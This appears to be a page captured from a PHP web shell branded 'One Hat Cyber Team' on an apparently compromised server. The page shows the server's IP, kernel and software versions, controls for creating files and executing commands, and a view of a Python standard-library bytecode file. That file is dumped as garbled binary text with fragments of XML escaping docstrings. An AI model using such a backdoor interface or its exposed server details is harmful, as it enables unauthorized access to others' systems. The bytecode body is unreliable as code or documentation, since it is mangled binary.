⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
lib
/
python3.12
/
xml
/
sax
/
__pycache__
/
View File Name :
saxutils.cpython-312.pyc
CRh/ d Z ddlZddlZddlZddlZddlZddlmZ ddlm Z d Z i fdZi fdZi fd Z d Z G d dej Z G d de j" ZddZy)znA library of useful helper classes to the SAX classes, for the convenience of application and driver writers. N )handler) xmlreaderc Z |j D ] \ }}| j || } | S )z2Replace substrings of a string using a dictionary.)itemsreplace)sdkeyvalues '/usr/lib/python3.12/xml/sax/saxutils.py__dict_replacer s+ ggi U IIc5! H c | j dd } | j dd } | j dd } |rt | | } | S )zEscape &, <, and > in a string of data. You can escape other strings of data by passing a dictionary as the optional entities parameter. The keys and values must all be strings; each key will be replaced with its corresponding value. &&>><<r r dataentitiess r escaper sH <<W%D<<V$D<<V$DdH-Kr c | j dd } | j dd } |rt | | } | j dd S )a Unescape &, <, and > in a string of data. You can unescape other strings of data by passing a dictionary as the optional entities parameter. The keys and values must all be strings; each key will be replaced with its corresponding value. r r r r r r r r s r unescaper " sD <<$D<<$DdH-<<%%r c i |dddd}t | | } d| v r"d| v rd| j dd z } | S d | z } | S d| z } | S ) a Escape and quote an attribute value. Escape &, <, and > in a string of data, then quote it for use as an attribute value. The " character will be escaped as well, if necessary. You can escape other strings of data by passing a dictionary as the optional entities parameter. The keys and values must all be strings; each key will be replaced with its corresponding value. z z z ) "'z"%s"z"z'%s')r r r s r quoteattrr$ 0 sp G(F'vFH$!D d{$;DLLh77D K D=D K }Kr c dd l }|j S t t j r S t t j t j f r S t t j r G fdd } | }d |_ nPt j }d |_ j |_ j |_ j |_ t j ||ddd S # t $ r Y %w xY w) Nr c 2 e Zd ZW j Z fdZy) _gettextwriter.
._wrapperc t | S N)getattr)selfnameouts r __getattr__z,_gettextwriter.
._wrapper.__getattr__Z s sD))r N)__name__ __module____qualname__ __class__r. )r- s r _wrapperr' X s I *r r3 c y r) r5 r r
z _gettextwriter.
.
] s tr c y)NTr5 r5 r r r6 z _gettextwriter.
.
b s $r xmlcharrefreplacer T)encodingerrorsnewline write_through)sysstdout isinstanceio TextIOBasecodecsStreamWriterStreamReaderWriter RawIOBasecloseBufferedIOBasewritablewriteseekabletellAttributeError TextIOWrapper)r- r9 r= r3 buffers ` r _gettextwriterrO G s {zz#r}}% #++V-F-FGH #r||$ * * # ""$&yy "llFO((FK FX#6$(*.0 0 s "C<